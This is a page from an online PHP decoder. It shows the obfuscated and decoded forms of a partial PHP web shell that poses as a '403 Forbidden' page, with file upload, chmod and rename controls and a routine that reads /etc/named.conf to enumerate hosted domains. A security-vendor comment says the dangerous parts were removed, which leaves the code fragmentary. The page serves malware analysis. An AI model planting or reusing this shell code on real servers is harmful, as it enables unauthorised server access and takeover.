Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto lHKON; Tw6g2: function symlinkDomain($dom) { $d0mains = @file("\x2f\x65\164\x..

Decoded Output download

<?php 
 goto lHKON; Tw6g2: function symlinkDomain($dom) { $d0mains = @file("/etc/named.conf", false); if (!$d0mains) { $dom = "<font color=red size=3px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { preg_match_all("#zone "(.*)"#", $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "{$count} Domain"; } return $dom; } goto kP3U5; ZpKp4: $dir = realpath(isset($_GET["dir"]) ? $_GET["dir"] : __DIR__); goto wONTS; NWQam: ?> 
"name="file"type="file"><button type="submit">Upload</button></form><center><?php  goto TNJF0; r1w_Z: ?> 
<!doctypehtml><html><head><meta content="width=device-width,initial-scale=0.5,user-scalable=yes"name="viewport"><title>403 Forbidden</title><style>body,button,html,input{background:#000;color:gray;font-family:monospace}a{color:gray;text-decoration:none}button,input{border:1px solid gray;height:1.7em}table{width:100%;border:1px dotted gray;border-spacing:0}tr:hover{background:#161616}td,th{padding:2px 0;border:1px solid #666}textarea{width:80%;height:50vh;background:#000;color:green;tab-size:4}.btn{border:1px solid #666;border-radius:.3em;padding:0 .3em;display:inline-block;text-align:center}.btn:hover{border-color:#fff;background-color:#000;transition:background-color .2s linear}.directory{background:#444654}.directory:before{content:"DIR/";color:gray}.file{background:#343641}.file:before{content:"-";color:gray}.notwritable,.notwritable a{color:#ff7800}.writable,.writable a{color:#49ff00}.symlink{float:right;color:#e2c275}.icon{font-size:1.5em;padding:.1em .2em;margin:0}.delete:before{content:"F6AE";opacity:.7}.rename:before{content:"D";color:#00f}.download:before{content:"9393";color:green}.openlink:before{content:"F517"}.success{color:#ff0}.success:before{content:"C"}.failed{color:red}.failed:before{content:"2"}</style><script>function e(e){return btoa(e)}function chmod(n,r){var t=prompt("CHMOD:",r);return!!t&&(n.href+="&new="+e(t),!0)}function chtime(n,r){var t=prompt("Change modified time:",r);return!!t&&(n.href+="&new="+e(t),!0)}function rename(n,r){var t=prompt("Rename:",r);return!!t&&(n.href+="&new="+e(t),!0)}</script></head><body>YOUR IP:<?php   
/** 
* Note: This file may contain artifacts of previous malicious infection. 
* However, the dangerous code have been removed, and the file is now safe to use. 
* Feel free to contact Imunify support team at https://www.imunify360.com/support/new 
*/ 
 goto SbY2K; SbY2K: ?> 
</table>Modifaaaied By #No_Idaaaaentity :: <a href="https://aaaaa.caaaaom/yaaaaon3zu">githaaaub.aacomaaa/yoaan3zaaau</a> - <a href="https://laaainuxaaaloaaait.aacom/">linuxploit.com</a></body></html>

Did this file decode correctly?

Original Code

<?php
 goto lHKON; Tw6g2: function symlinkDomain($dom) { $d0mains = @file("\x2f\x65\164\x63\57\156\x61\155\x65\144\x2e\x63\x6f\156\x66", false); if (!$d0mains) { $dom = "\x3c\x66\157\x6e\164\40\143\x6f\x6c\x6f\162\x3d\x72\x65\144\x20\x73\151\x7a\145\x3d\63\x70\x78\76\x43\141\156\x74\40\122\x65\x61\x64\x20\x5b\40\x2f\145\x74\x63\57\156\141\x6d\145\144\x2e\143\x6f\x6e\x66\x20\135\x3c\57\x66\157\156\x74\76"; $GLOBALS["\156\145\145\144\x5f\x74\157\137\x75\160\x64\141\x74\x65\x5f\150\145\x61\144\x65\162"] = "\164\x72\x75\x65"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "\x7a\157\x6e\145")) { preg_match_all("\43\172\157\156\145\40\42\50\56\52\x29\x22\x23", $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "{$count}\x20\104\x6f\155\x61\151\156"; } return $dom; } goto kP3U5; ZpKp4: $dir = realpath(isset($_GET["\144\x69\x72"]) ? $_GET["\x64\151\x72"] : __DIR__); goto wONTS; NWQam: ?>
"name="file"type="file"><button type="submit">Upload</button></form><center><?php  goto TNJF0; r1w_Z: ?>
<!doctypehtml><html><head><meta content="width=device-width,initial-scale=0.5,user-scalable=yes"name="viewport"><title>403 Forbidden</title><style>body,button,html,input{background:#000;color:gray;font-family:monospace}a{color:gray;text-decoration:none}button,input{border:1px solid gray;height:1.7em}table{width:100%;border:1px dotted gray;border-spacing:0}tr:hover{background:#161616}td,th{padding:2px 0;border:1px solid #666}textarea{width:80%;height:50vh;background:#000;color:green;tab-size:4}.btn{border:1px solid #666;border-radius:.3em;padding:0 .3em;display:inline-block;text-align:center}.btn:hover{border-color:#fff;background-color:#000;transition:background-color .2s linear}.directory{background:#444654}.directory:before{content:"DIR/";color:gray}.file{background:#343641}.file:before{content:"-";color:gray}.notwritable,.notwritable a{color:#ff7800}.writable,.writable a{color:#49ff00}.symlink{float:right;color:#e2c275}.icon{font-size:1.5em;padding:.1em .2em;margin:0}.delete:before{content:"\1F6AE";opacity:.7}.rename:before{content:"\270D";color:#00f}.download:before{content:"\2193\2193";color:green}.openlink:before{content:"\1F517"}.success{color:#ff0}.success:before{content:"\270C"}.failed{color:red}.failed:before{content:"\2622"}</style><script>function e(e){return btoa(e)}function chmod(n,r){var t=prompt("CHMOD:",r);return!!t&&(n.href+="&new="+e(t),!0)}function chtime(n,r){var t=prompt("Change modified time:",r);return!!t&&(n.href+="&new="+e(t),!0)}function rename(n,r){var t=prompt("Rename:",r);return!!t&&(n.href+="&new="+e(t),!0)}</script></head><body>YOUR IP:<?php  
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code have been removed, and the file is now safe to use.
* Feel free to contact Imunify support team at https://www.imunify360.com/support/new
*/
 goto SbY2K; SbY2K: ?>
</table>Modifaaaied By #No_Idaaaaentity :: <a href="https://aaaaa.caaaaom/yaaaaon3zu">githaaaub.aacomaaa/yoaan3zaaau</a> - <a href="https://laaainuxaaaloaaait.aacom/">linuxploit.com</a></body></html>

Function Calls

None

Variables

None

Stats

MD5 3b72bf0e58e822c1f36783cbec4f4b54
Eval Count 0
Decode Time 64 ms